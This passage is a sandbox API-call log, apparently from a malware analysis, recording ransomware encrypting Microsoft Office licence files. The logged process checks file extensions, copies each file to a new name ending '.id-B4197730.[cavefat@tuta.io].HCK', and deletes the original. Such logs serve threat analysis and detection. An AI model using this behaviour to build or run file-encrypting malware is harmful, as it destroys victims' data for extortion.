Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.017] lstrlenW (lpString=".dbf") returned 4 [0242.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.017] lstrlenW (lpString=".1cd") returned 4 [0242.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString=".jpg") returned 4 [0242.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString=".doc") returned 4 [0242.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString=".docx") returned 5 [0242.018] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.018] lstrlenW (lpString=".pdf") returned 4 [0242.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString=".xls") returned 4 [0242.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString=".xlsx") returned 5 [0242.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.018] lstrlenW (lpString=".ppt") returned 4 [0242.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString=".zip") returned 4 [0242.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString=".rar") returned 4 [0242.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString=".bz2") returned 4 [0242.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString=".7z") returned 3 [0242.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString=".dbf") returned 4 [0242.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString=".1cd") returned 4 [0242.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.018] lstrlenW (lpString=".jpg") returned 4 [0242.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.018] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.018] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30 [0242.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.019] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11171) returned 1 [0242.019] CloseHandle (hObject=0x4b0) returned 1 [0242.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220 [0242.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.020] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.020] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.021] GetLastError () returned 0x0 [0242.021] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0242.025] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0242.026] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.026] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x110, lpOverlapped=0x0) returned 1 [0242.026] SetEndOfFile (hFile=0x548) returned 1 [0242.026] CloseHandle (hObject=0x548) returned 1 [0242.026] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.026] SetEndOfFile (hFile=0x4b0) returned 1 [0242.028] CloseHandle (hObject=0x4b0) returned 1 [0242.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString=".doc") returned 4 [0242.030] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".docx") returned 5 [0242.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.030] lstrlenW (lpString=".pdf") returned 4 [0242.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".xls") returned 4 [0242.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".xlsx") returned 5 [0242.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.030] lstrlenW (lpString=".ppt") returned 4 [0242.030] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString=".zip") returned 4 [0242.030] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".rar") returned 4 [0242.030] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".bz2") returned 4 [0242.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".7z") returned 3 [0242.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString=".dbf") returned 4 [0242.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString=".1cd") returned 4 [0242.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString=".jpg") returned 4 [0242.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.030] lstrlenW (lpString=".doc") returned 4 [0242.030] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".docx") returned 5 [0242.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.030] lstrlenW (lpString=".pdf") returned 4 [0242.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".xls") returned 4 [0242.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.030] lstrlenW (lpString=".xlsx") returned 5 [0242.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.030] lstrlenW (lpString=".ppt") returned 4 [0242.031] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.031] lstrlenW (lpString=".zip") returned 4 [0242.031] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.031] lstrlenW (lpString=".rar") returned 4 [0242.031] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.031] lstrlenW (lpString=".bz2") returned 4 [0242.031] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.031] lstrlenW (lpString=".7z") returned 3 [0242.031] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.031] lstrlenW (lpString=".dbf") returned 4 [0242.031] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.031] lstrlenW (lpString=".1cd") returned 4 [0242.031] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0242.031] lstrlenW (lpString=".jpg") returned 4 [0242.031] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.031] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.031] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31 [0242.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.032] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=32362) returned 1 [0242.032] CloseHandle (hObject=0x4b0) returned 1 [0242.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220 [0242.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.032] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.032] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.033] GetLastError () returned 0x0 [0242.033] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7e6a, lpOverlapped=0x0) returned 1 [0242.041] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7e70, lpOverlapped=0x0) returned 1 [0242.042] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.042] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x112, lpOverlapped=0x0) returned 1 [0242.042] SetEndOfFile (hFile=0x548) returned 1 [0242.042] CloseHandle (hObject=0x548) returned 1 [0242.042] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.042] SetEndOfFile (hFile=0x4b0) returned 1 [0242.045] CloseHandle (hObject=0x4b0) returned 1 [0242.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1 [0242.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.046] lstrlenW (lpString=".doc") returned 4 [0242.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString=".docx") returned 5 [0242.046] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.046] lstrlenW (lpString=".pdf") returned 4 [0242.046] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString=".xls") returned 4 [0242.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString=".xlsx") returned 5 [0242.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.046] lstrlenW (lpString=".ppt") returned 4 [0242.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.046] lstrlenW (lpString=".zip") returned 4 [0242.046] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString=".rar") returned 4 [0242.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString=".bz2") returned 4 [0242.046] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString=".7z") returned 3 [0242.046] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.046] lstrlenW (lpString=".dbf") returned 4 [0242.046] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.046] lstrlenW (lpString=".1cd") returned 4 [0242.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.046] lstrlenW (lpString=".jpg") returned 4 [0242.046] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.047] lstrlenW (lpString=".doc") returned 4 [0242.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString=".docx") returned 5 [0242.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.047] lstrlenW (lpString=".pdf") returned 4 [0242.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString=".xls") returned 4 [0242.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString=".xlsx") returned 5 [0242.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.047] lstrlenW (lpString=".ppt") returned 4 [0242.047] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.047] lstrlenW (lpString=".zip") returned 4 [0242.047] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString=".rar") returned 4 [0242.047] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString=".bz2") returned 4 [0242.047] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString=".7z") returned 3 [0242.047] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.047] lstrlenW (lpString=".dbf") returned 4 [0242.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.047] lstrlenW (lpString=".1cd") returned 4 [0242.047] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0242.047] lstrlenW (lpString=".jpg") returned 4 [0242.047] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.047] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.047] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34 [0242.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.048] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11616) returned 1 [0242.048] CloseHandle (hObject=0x4b0) returned 1 [0242.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220 [0242.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.049] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.049] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.049] GetLastError () returned 0x0 [0242.050] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0242.175] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0242.176] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.176] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x118, lpOverlapped=0x0) returned 1 [0242.176] SetEndOfFile (hFile=0x548) returned 1 [0242.176] CloseHandle (hObject=0x548) returned 1 [0242.176] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.176] SetEndOfFile (hFile=0x4b0) returned 1 [0242.178] CloseHandle (hObject=0x4b0) returned 1 [0242.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1 [0242.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.389] lstrlenW (lpString=".doc") returned 4 [0242.389] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.389] lstrlenW (lpString=".docx") returned 5 [0242.389] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.389] lstrlenW (lpString=".pdf") returned 4 [0242.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.389] lstrlenW (lpString=".xls") returned 4 [0242.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.389] lstrlenW (lpString=".xlsx") returned 5 [0242.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.389] lstrlenW (lpString=".ppt") returned 4 [0242.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".zip") returned 4 [0242.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".rar") returned 4 [0242.390] lstrcmpiW (lpString1=".rar", 